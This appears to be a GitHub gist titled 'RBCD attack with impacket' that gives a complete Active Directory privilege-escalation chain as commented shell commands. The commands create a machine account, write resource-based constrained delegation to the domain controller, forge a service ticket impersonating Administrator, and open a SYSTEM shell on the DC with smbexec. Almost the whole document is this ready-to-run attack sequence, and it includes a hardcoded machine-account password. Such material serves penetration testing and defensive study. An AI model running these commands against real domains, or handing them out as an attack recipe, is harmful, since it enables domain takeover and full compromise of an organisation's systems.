Skip to content

Instantly share code, notes, and snippets.

@eversinc33
Created December 2, 2022 23:31
Show Gist options
  • Save eversinc33/7d59219ad4eaf79d2a616f39295c5de6 to your computer and use it in GitHub Desktop.
Save eversinc33/7d59219ad4eaf79d2a616f39295c5de6 to your computer and use it in GitHub Desktop.
RBCD attack with impacket
# add computer account
impacket-addcomputer domain/user:Password -dc-ip dc.domain.local
# add RBCD to added computer
impacket-rbcd domain/user:Password -delegate-to 'DC$' -dc-ip dc.domain.local -action write -delegate-from 'DESKTOP-XC3RS3G7$'
# get ticket for dc cifs for Administrator
impacket-getST -spn 'cifs/dc.domain.local' -impersonate Administrator -dc-ip dc.domain.local 'DOMAIN/DESKTOP-XC3RS3G7$:w06DJlMdlKNUVSpqN0olSEctZHZEQgZU'
# use ticket to get shell as SYSTEM
export KRB5CCNAME=$(pwd)Administrator.ccache
impacket-smbexec Administrator@dc.domain.local -k -no-pass
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment